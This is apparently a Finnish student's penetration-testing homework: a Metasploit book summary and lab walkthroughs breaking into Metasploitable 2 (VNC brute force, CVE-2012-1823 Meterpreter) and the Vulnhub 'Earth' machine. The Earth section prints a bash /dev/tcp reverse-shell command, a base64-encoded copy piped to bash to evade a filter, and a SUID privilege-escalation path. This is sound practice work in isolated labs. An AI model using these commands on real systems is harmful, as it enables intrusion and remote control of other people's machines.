Pentesting2022

h2 - Miska Kytö


x) Mastering Metasploit

Tiivistelmä O’Reillyn materiaalista: Jaswal 2020 - Mastering Metasploit - Fourth Edition

Mikä Metasploit?

Metasploit on avoimen lähdekoodin ohjelma, joka sisältää laajan tietokannan penetraatiotestaukseen tarkoitettuja työkaluja, kuten valmiita skriptejä erilaisten tietoturva-aukkojen hyväksikäyttöön. Metasploit on kehitetty Ruby-ohjelmoitikielellä, ja on helposti laajennettavissa. Ohjelman kehityksestä vastaa Rapid7.

Metasploitin edut

Metasploitin etuja ovat mm.

Esimerkki Metasploitin käytöstä

Hypoteettisen penetraatiotestauksen alussa Metasploitin tietokantaan on helppo tallettaa tietoja kohteesta, kuten esimerkiksi porttiskannauksien yhteydessä kerättyä tietoa. Nmap-työkalua voidaan käyttää suoraan Metasploitin sisältä.

Kohteen tutkinnan jälkeen voimme käyttää skanneria testataksemme, onko kohde mahdollisesti haavoittuvainen jollekin tietylle aukolle. Näin voidaan saada idea kohteen haavoittuvuudesta ennen täyden hyökkäyksen aloittamista.

Testauksen jälkeen voimme valita aukon, jota käytämme hyökkäykseen, sekä payloadin, jonka haluamme hyökkäykseen yhdistää. Tämä voi olla simppeli TCP-shell, tai vaikka Metasploitin oma Meterpreter, joka tarjoaa paljon ominaisuuksia kohteen etäkäyttöön.

Murtautumisen jälkeen voimme käyttää Metasploitin enumerointiominaisuuksia kohteen tarkempaan tutkimukseen. Kirjan esimerkissä Windowsin Domain Controllerista voidaan saada lisää tietoa käyttämällä moduulia, joka enumeroi Active Directory -tietokannan.


a) Metasploitable 2

(Tämä dokumentaatio kirjoitettu muistista, sillä tein tämän jo tunnilla)

Metasploitable on Metasploit-työkalun kehittäjä Rapid7:n luoma harjoitusmaali, jota vastaan voidaan harjoitella hyökkäämistä Metasploitin avulla.

Linkki metasploitable 2:n dokumentaatioon.

Metasploitablen asennamme Virtualbox:iin omaksi koneeksemme. Lisäksi luomme oman Virtualboxiin oman virtuaalisen verkon, johon eristämme tämän koneen.

Tämä eristäminen on erittäin tärkeää!

Metasploitable 2 on luotu erittäin haavoittuvaksi laitteeksi, ja tämän takia sitä ei pitäisi ikinä yhdistää avoimeen internettiin. Tämä on suuri tietoturvariski, sillä laite voisi tässä tilanteessa toimia jalansijana omaan lähiverkkoosi.

Kun tämä eristys on tehty, voidaan kone käynnistää, ja liittää oma tietokone, esimerkiksi Kali Linux samaan verkkoon Metasploitablen kanssa.

Metasploitable 2


b) Metasploitablen porttiskannaus

Voimme aloittaa Metasploitablen tutkimisen porttiskannaamalla sen. Tähän käytämme Nmap-työkalua Metasploitin sisällä, jolloin saamme tallennettua Nmapin tulokset suoraan Metasploitin tietokantaan.

Ensin teemme nopean skannauksen koko suljettuun läpiverkkoon, että löydämme Metasploitablen IP-osoitteen.

Löydämme kaksi VirtualBox:in virtuaaliseen verkkokorttiin yhdistettyä osoitetta. Näistä .4 -loppuinen on oma Kali Linux -koneeni, ja .3 loppuinen on Metasploitable.

Voimme siis kohdistaa seuraavat skannimme pelkästään 192.168.246.3 -osoitteeseen.

Itse tykkään aloittaa tutkimisen ns. “skriptiskannilla”, jossa ajetaan Nmapin sisäiset skriptit, joilla tunnistetaan yleisimmät palvelut. Lisäksi ajetaan version enumerointi, jolla selvitetään mitä versioita eri palveluista on käytössä. Näiden versioiden perusteella voimme jo selvittää, onko jokin niistä suoraan haavoittuvainen. Tämän lisäksi kirjoitetaan skannauksen tulokset tiedostoon, jotta niitä voi sieltä tarkastella myöhemmin.

db_nmap -sV -sC 192.168.246.3 -oA scriptscan

Tuloksina saamme melko paljon tietoa palvelimesta:

Palvelimella on varsin monta eri palvelua pyörimässä, joita voimme tutkia Nmapin tietokannasta komennolla services.

Palveluita on monta, kuten perinteiset FTP, SSH sekä HTTP, mutta myös eksoottisimpia, kuten SMB, VNC sekä muutama SQL-tietokanta. Myös Java-pohjainen Tomcat-verkkopalvelin löytyy, eli valinnanvaraa todellakin on.

Näistä voimme nyt valita mieleisemme, ja lähteä murtautumaan.


c) Metasploitableen murtautuminen - VNC

Valitsin ensimmäiseksi murtautumispoluksi portissa 5900 pyörivän VNC:n, sillä ajettelin että graafiseen etäyhteyteen johtava hyökkäys olisi varsin hauska ja näyttävä.

VNC on graafiseen etäkäyttöön luotu ohjelma, jota käytetään monissa käyttötarkoituksissa. VNC on syytä yleensä suojata hyvin, sillä se mahdollistaa suoran graafisen etäkäytön, jolloin kuka tahansa voi tehdä koneella mitä haluaa.

Aloitetaan tutkimalla VNC:tä tarkemmin. Yleensä VNC:n haavoittuvuudet keskittyvät johonkin ohjelmaan tai implementaatioon, kuten TightVNC tai ThinVNC. Kuitenkaan tällä kertaa suoraa implementaation nimeä emme löydä, joten voimme kokeilla toista lähestymistapaa.

Metasploit tarjoaa suoran työkalun, joka yrittää bruteforce-hyökkäyksellä löytää oikean salasanan VNC-palveluun. Tämä tarkoittaa sitä, että ohjelma järjestelmällisesti kokeilee listassa listattuja salasanoja toisensa perään, toivoen että jokin niistä toimii. Tästä tuleekin nimi “bruteforce”. Tämä ei yleensä ole fiksuin ensimmäinen vaihtoehto, mutta metasploitablen tapauksessa mielestäni yrityksen arvoinen.

Voimme ottaa tämän työkalun käyttöön, ja asettaa Metasploitablen osoitteen kohteeksi.

use auxiliary/scanner/vnc/vnc_login
set RHOSTS 192.168.246.3

Tämän jälkeen voimme suorittaa moduulin, ja katsoa löytääkö Metasploit oikeaa salasanaa.

Oikea salasana löytyikin heti, sillä VNC:n salasana onkin “password”.

(Uskoisin, että tässä ei tarvitse edes selittää, kuinka huonosta salasanasta on kyse.)

Seuraavaksi pitää vain avata VNC-yhteys, johon tarvitsemme jonkin VNC-ohjelman. Itse asensin Vinagre-ohjelman, joka on suosittu Linuxille luotu VNC:tä ja SSH:ta tukeva ohjelma.

sudo apt-get install vinagre

Voimme nyt vain syöttää ohjelmaan Metasploitablen IP:n, ja syöttää salasanaksi “password”.

Ja tadaa, meitä odottaakin jo root-käyttäjän terminaali graafisessa käyttöliittymässä.


d) Metasploitableen murtautuminen - HTTP

Seuraavaksi murtaudutaan koneelle käyttämällä portin 80 läpi, eli HTTP-protokollaa käyttäen. Aloitetaan ensin tutkimalla HTTP-palvelinta tarkemmin Nmapin avulla.

db_nmap -A -p 80 192.168.246.3 -oN HTTPscan

Tuloksena näemme, että HTTP-palvelin on tarkemmin katsottuna Apachen httpd-palvelin versiolla 2.2.8, jonka lisäksi palvelimella on käytössä PHP-ohjelmointikieli.

Mistä tiedän sivulla olevan käytössä myös PHP?

Tämän selvittämiseen voimme käyttää maailman yleisintä hakkeroitityökalua, eli verkkoselainta.

Navigoimalla Metasploitablen IP-osoitteeseen, pääsemme etusivulle (jossa on jo mainintoja PHP:sta). Helppo testi PHP:n toimivuudelle on navigoida osoitteeseen /index.php. Tämän serverin tapauksessa /index.html -tiedostoa ei ole edes olemassa, joten voimme nopeasti varmistua PHP:n toimivuudesta.

Voimme enumeroida PHP:tä tarkemmin siirtymällä osoitteeseen /phpinfo.php, joka kertoo meille suoraan käytössämme olevan PHP:n version, joka on 5.2.4.

Tämä on hyödyllistä, sillä voimme mahdollisesti ajaa serverilla PHP-koodia, jos löydämme siihen sopivan haavoittuvuuden.

Kun haemme versioita exploitdb:stä, löydämme haavoittuvuuden juuri tälle versioparille.

ExploitDB:n tiedostoa tutkimalla saan tietää, että tälle haavoittuvuudelle on oma CVE-tunnus, joka on CVE-2012-1823. Kun etsin tällä tunnuksella Metasploitista moduuleja, löydänkin suoraan moduulin, jolla pitäisi saada etäyhteys koneeseen.

Voidaan siis valita tämä moduuli, ja täyttää tarvittavat tiedot.

Ohjelma ilmoittaa, että sille ei ollut kerrottu käytettävää payloadia, joten se valitsee automaattisesti PHP-kielelle tehdyn meterpreterin. Tämän pitäisi kaiken järjen mukaan toimia, sillä totesimme palvelimen käyttävän PHP:ta. Payloadin asetukset myös ilmoittavat, että Metasploit kuuntelee portilla 4444, odottaen yhteyttä meterpreteriltä.

Voidaan ajaa moduuli, ja katsoa saammeko yhteyden.

Kuten näemme, ensin yhteyden ottaminen ei onnistu. Tämä johtuu viime viikolla Kaliin asentamastamme palomuurista, joka estää portin 4444 läpi tulevan yhteyden. Kun poistamme palomuurin käytöstä, yhteydenotto onnistuu heti, ja saamme meterpreter-shellin kohteeseen.

Kuten näemme, olemme nyt saaneet yhteyden käyttäjänä www-data. Tämä on jalansija serverille, josta voisimme jatkaa root-käyttäjälle pääsemistä. www-data on itseasiassa root-käyttäjä, mutta root-oikeuksien käyttöön tarvitsemme käyttäjän salasanan, jonka voimme saada joko etc/shadow-tiedostosta murtamalla salauksen, tai käyttämällä jotain muuta hyökkäystä laitteelle.

Jätetään tämä kuitenkin tähän tällä kertaa.


e) Vulnhub - Earth

Vulnhub.com on sivusto, jossa jaellaan erilaisia virtuaalikoneita, joita voidaan käyttää pentestauksen harjoitteluun, kuten metasploitablea. Tällä kertaa valitsin Earth-nimisen koneen, joka luokiteltiin “hieman haastavammaksi easy-tason koneeksi”.

Aloitetaan ajamalla Nmap-porttiskannaus laitteelle, joka löytyy verkosta osoitteesta 192.168.246.5

sudo nmap -A 192.168.246.5 -oA initialscan

Kuten näemme, koneessa on auki 3 porttia, jotka ovat:

Nmapin skriptit kertovat, että koneen Apache-webserveri pyörii Fedora Linuxilla, sekä mukana on Python 3.9, joka on varsin kiinnostavaa.

Tutkitaan porttia 80 tarkemmin avaamalla se verkkoselaimessa.

Avaamalla portin 80 verkkosivun, saamme vain 400 errorin, eli serverillä on säännöstö, joiden mukaan se pystyy vastaamaan vaan joihinkin tiettyihin pyyntöihin. Meillä ei ole tietoa, mihin pyyntöihin serveri voi vastata, joten palataan tutkimaan tätä myöhemmin.

Siirrytään porttiin 443.

Täältä löydämme Fedoran Apache-serverin default-sivun. Koska kyseessä on SSL-suojattu yhteys, voimme tutkia SSL-sertifikaatin tietoja, jos sieltä löytyisi jotain kiinnostavaa.

Kuten huomaamme, sertifikaatissa on listattu kaksi domain-nimeä, jossa se toimii. Voimme lisätä nämä domain-nimet hosts-tiedostoon, jotta voimme ottaa niihin yhteyttä, ja katsoa mitä löydämme.

sudo vim /etc/hosts

Lisäämällä domain-nimet hosts-tiedostoon, koneemme osaa reitittää näihin domain-nimiin tulevat pyynnöt oikeaan IP-osoitteeseen.

Nyt voimme avata domainit selaimessa, ja tutkia niitä tarkemmin.

Kummassakin domainissa on samanlainen sivu, jossa “voidaan lähettää viestejä maahan”. Käyttäjä voi syöttää viestin, avaimen, ja nähdä viimeiset lähetetyt viestit.

Ohjelma käyttää selvästi jotain salausalgoritmia, mutta se on vaikea selvittää ilman lisätietoja.

Kokeillaan siis etsiä verkkoserveriltä muuta tietoa. Kokeillaan directory bruteforcea, eli ohjelma kokeilee sivuston kaikkia hakemistoja, ja katsoo löytyykö niistä jotain kiinnostavaa. Tähän käytän Gobuster-ohjelmaa, joka on käytännöllinen ja nopea työkalu directory bruteforceen.

Sanalistana käytän “dirbuster”-ohjelman sanalistaa, joka tulee Kali Linuxin mukana. Listassa on paljon yleisiä hakemistoja, joita kannattaa kokeilla. Lisäsin myös hakuun yleisiä tiedostopäätteitä, kuten .txt ja .py, sillä tiedämme serverin käyttävän Pythonia. Ajetaan tämä kummallekin domainille.

gobuster dir -u https://earth.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt, py

earth.local -domainista löytyy /admin-directory, ja terratest.earth.local -domainista robots.txt -tiedosto.

Robots.txt tiedosto on hakukoneille tarkoitettu tiedosto, jolla sivuston omistaja voi manuaalisesti estää joidenkin hakemistojen tai tiedostojen indeksoinnin esim Google-hakuun.

Selaimessa emme saa robots.txt tiedostoa auki, veikkaisin tämän olevan web-serverin asetuksilla estettyä. Voimme kuitenkin tehdä pyynnön sivusta curl-komennolla. Käytämme -k -flagia, jotta curl ohittaa SSL-sertifikaatin tarkistuksen.

curl https://terra.earth.local/robots.txt -k

huomaamme, että yleisten tiedostopäätteiden eston lisäksi tiedoston lopussa on estetty /testingnotes.*, eli serverillä on selvästi joku salainen tiedosto. Nopealla testauksella löydämmekin testingnotes.txt -tiedoston.

Tiedostossa kerrotaan, että sivusto käyttää XOR -algoritmia. Lisäksi mainitaan testdata.txt tiedosto, sekä “terra” -käyttäjänimi admin portaaliin.

Tutkitaan siis seuraavaksi /admin/ -portaali, jonka löysimme gobusterilla. Täältä löydämmekin perinteisen login-sivun. Mutta vielä pitäisi selvittää salasana…

Löydämme testdata.txt -tiedoston, jota aikaisemman dokumentaation mukaan käytettiin avaimena “testiviesteihin”, joita löysimme sivuston etusivulta.

curl https://terra.earth.local/testdata.txt -k

Voimme käyttää tätä avainta kääntämään heksadesimaalissa olevat viestit takaisin alkuperäiseksi tekstiksi.

Tähän voimme käyttää Cyberchef-työkalua, joka löytyy suoraan verkosta. Cyberchef on erittäin käytännöllinen työkalu erilaisten salausten purkamiseen ja kääntämiseen.

Valitsemme ensimmäiseksi “From Hex” -palikan, joka kertoo, että inputtimme on heksadesimaalimuodossa. Sen jälkeen valitsemme XOR-palikan, johon syötämme avaimen, ja kerromme sen olevan UTF-8 muodossa, sillä avain on tekstiä, eikä esim. binääriä tai heksadesimaalia.

Valmiita viestejä on kolme, joten lopuksi löydämme oikean viestin, joka kääntyy heti!

Näin voimme selvittää, että käyttäjän “terra” salasana on “earthclimatechangebad4humans”. Voimme nyt kirjautua admin-portaaliin.

Portaalista löydämme CLI-työkalun, jolla voidaan ajaa komentoja serverillä. Nopealla testauksella voidaan nähdä, että tämä on suora bash-komentoriviyhteys.

Voimme tämän sivun kautta ajaa reverse shell -komennon, ja saada komentoriviyhteyden palvelimelle.

Itse käytän pentestmonkey -sivuston reverse shell cheat sheettiä, johon on listattu monia reverse shell komentoja eri kielillä.

Muokataan komentoa niin, että siinä on oma IP-osoitteemme, joka on 192.168.246.4, sekä haluamamme portti, vaikka 9001

bash -i >& /dev/tcp/192.168.246.4/9001 0>&1

Lisäksi avataan omalle koneelleemme kuunteleva netcat, joka vastaanottaa reverse shellin. Tätä varten meidän myös pitää sammuttaa hetkellisesti palomuurimmekin, jotta netcat saa kuunnella porttia.

nc -lvnp 9001

Serveri kuitenkin nopeasti vastaa, että etäyhteydet ovat kiellettyjä. Mietin, miten sivu voisi estää tälläiset komennot, ja päädyin siihen, että sivulla saattaa olla jonkinlainen tekstipohjainen suodatus, joka blokkaa kaikki komennot, joissa on ip-osoite. Voidaan kokeilla tätä syöttämällä pelkkä ip-osoite:

Kuten arvasinkin, sivu antoi saman kiellon, vaikka syötin pelkän ip-osoitteen, enkä mitään bash-komentoa.

Jos kielto on tekstipohjainen, voin yrittää kiertää sen kääntämällä komennon base64-muotoon, ja sitten pyytämällä palvelimen kääntämään tämän takaisin alkuperäiseksi komennoksi, ja ajamaan sen. Base64-muotoon komentojen kääntäminen voidaan tehdä helposti linuxin komentorivillä:

Sitten voimme ajaa tämän komennon CLI:llä:

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Ni40LzkwMDEgMD4mMQo=" | base64 -d | bash

Lähetetään komento, ja saamme vastauksen reverse shelliimme, jossa on nyt komentorivi!

Olemme saaneet komentoriviyhteyden apache-käyttäjällä:

Parannellaan shell-yhteyttämme muuttamalla yhteys TTY:ksi, jolloin voimme käyttää interaktiivista komentoriviä. Tämä voidaan tehdä ajamalla python-komento:

python -c 'import pty; pty.spawn("/bin/bash")'

Seuraavaksi meidän pitäisi päästä vaihtamaan käyttäjää, sillä apache-käyttäjällä ei ole juurikaan oikeuksia.

Tutkitaan ns. SUID-binäärejä, eli binäärejä, jotka voimme käynnistää apache-käyttäjällä, jotka pyörivät root-käyttäjän oikeuksilla. Nämä voidaan hakea seuraavalla komennolla:

find / -perm -u=s 2>/dev/null

Haemme kaikki binäärit, jotka ovat SUID-binäärejä, ja koska tämä hakee koko järjestelmän läpi, komento yrittää myös lukea kansioita, johon meillä ei ole pääsyä. Tämän takia lisäämme komennon loppuun 2>/dev/null, joka ohjaa virheilmoitukset /dev/null:iin, eli niitä ei näytetä terminaalissa.

Listasta löydämme muutama oletustiedostoa, sekä epätavallisen reset_root -tiedoston.

Kokeillaan ajaa tämä binääri.

Binääri ilmoittaa, että kaikki “triggerit” eivät ole olemassa, joten resetointi ei onnistu.

Tätä tiedostoa kannattaa varmaan tutkia tarkemmin, joten siirrän se omalle koneelleni käyttäen netcattia.

Earth-kone:

Oma koneeni:

Näin saamme tiedoston omalle koneellemme, ja voimme tutkia sen toimintaa tarkemmin.

Ensin ajan strings-komennon, joka hakee binääristä kaikki merkkijonot, ja tulostaa ne terminaaliin.

Näin opimme, että jos ohjelman “triggerit” ovat olemassa, binääri ajaa chpasswd-komennon, ja vaihtaa root-käyttäjän salasanaksi “Earth”. Juuri mitä haluamme!

Seuraavaksi voimme käyttää tähän ltrace-työkalua, jolla voidaan debugata binäärejä niiden ajon aikana, ja nähdä esimerkiksi funktioiden kutsut.

Kuten näemme, binääri heti aluksi tarkistaa, onko kolme tiedostoa olemassa. Näistä kaksi sijaitsee /dev/shm -kansiossa, ja yksi /tmp -kansiossa. Nämä kansiot ovat väliaikaisia tiedostokansioita, jotka tyhjentyvät, kun tietokone käynnistetään uudelleen. Näihin kansioihin pystytään myös kirjoittamaan jokaisella käyttäjällä.

Eli jos pystymme kirjoittamaan nämä tiedostot tiedostojärjestelmään, ja sitten ajamaan binäärin, se resetoi root-käyttäjän salasanan.

Tiedostoja voimme lisätä helposti käyttämällä touch-komentoa, jonka jälkeen ajamme binäärin.

Tadaa! Salasana on resetoitu, ja voimme vaihtaa root-käyttäjään su-komennolla:

Nyt voimme lukea flagin /root/ -kansiosta:

Tämä oli melko simppeli kone, mutta hyvää harjoitusta. Olen aikaisemmin karttanut erilaisia binääreihin liittyviä tehtäviä, mutta tässä melko helpolla alulla pääsi oppimaan ltracen perusteita. Ihan hyvä boksi siis!


Lähteet

Jaswal 2020 - Mastering Metasploit - Fourth Edition

Metasploitable 2

Vulnhub - Earth

CyberChef

Pentestmonkey.net reverse shell cheat sheet